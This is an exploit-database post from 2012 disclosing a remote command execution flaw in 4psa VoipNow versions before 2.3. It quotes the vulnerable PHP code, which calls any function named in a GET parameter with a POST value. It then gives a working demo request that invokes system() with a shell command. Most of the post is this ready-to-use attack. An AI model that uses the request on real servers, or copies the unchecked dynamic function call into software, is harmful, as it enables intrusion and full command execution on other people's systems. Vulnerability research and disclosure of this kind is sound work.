Home / exploits

PDF

4psa VoipNow 2.x Remote Command Execution

Posted on 22 December 2012

# Title: 4psa VoipNow < 2.3 , Remote Command Execution vuln
# Software Link: http://www.4psa.com/products-4psavoipnow.html
# Author: Faris , aka i-Hmx
# Home : sec4ever.com , 1337s.cc
# Mail : n0p1337@gmail.com

VoipNow suffer from critical RCE vuln.

Vulnerable File : plib/xajax_components.php
Snip.
if ( isset( $_GET['varname'] ) )
{
 $func_name = $_GET['varname'];
 $func_arg = $_POST["fid-".$_GET['varname']];
 $func_params = $_GET;
 if ( function_exists( $func_name ) )
 {
 echo $func_name( $func_arg, $func_params );
 }
 else
 {
 echo "<ul><li>Function: ".$func_name." does not exist.</li></ul>";
 }
}

Demo Exploit :
Get : plib/xajax_components.php?varname=system
Post : fid-system=echo WTF!!
so the result is
echo system( 'echo WTF!!', array() );
the system var need just the 1st parameter
so don't give fu#* about the array :D
Peace out

# NP : Just cleaning my pc from an old old trash , The best is yet to come ;)

 

TOP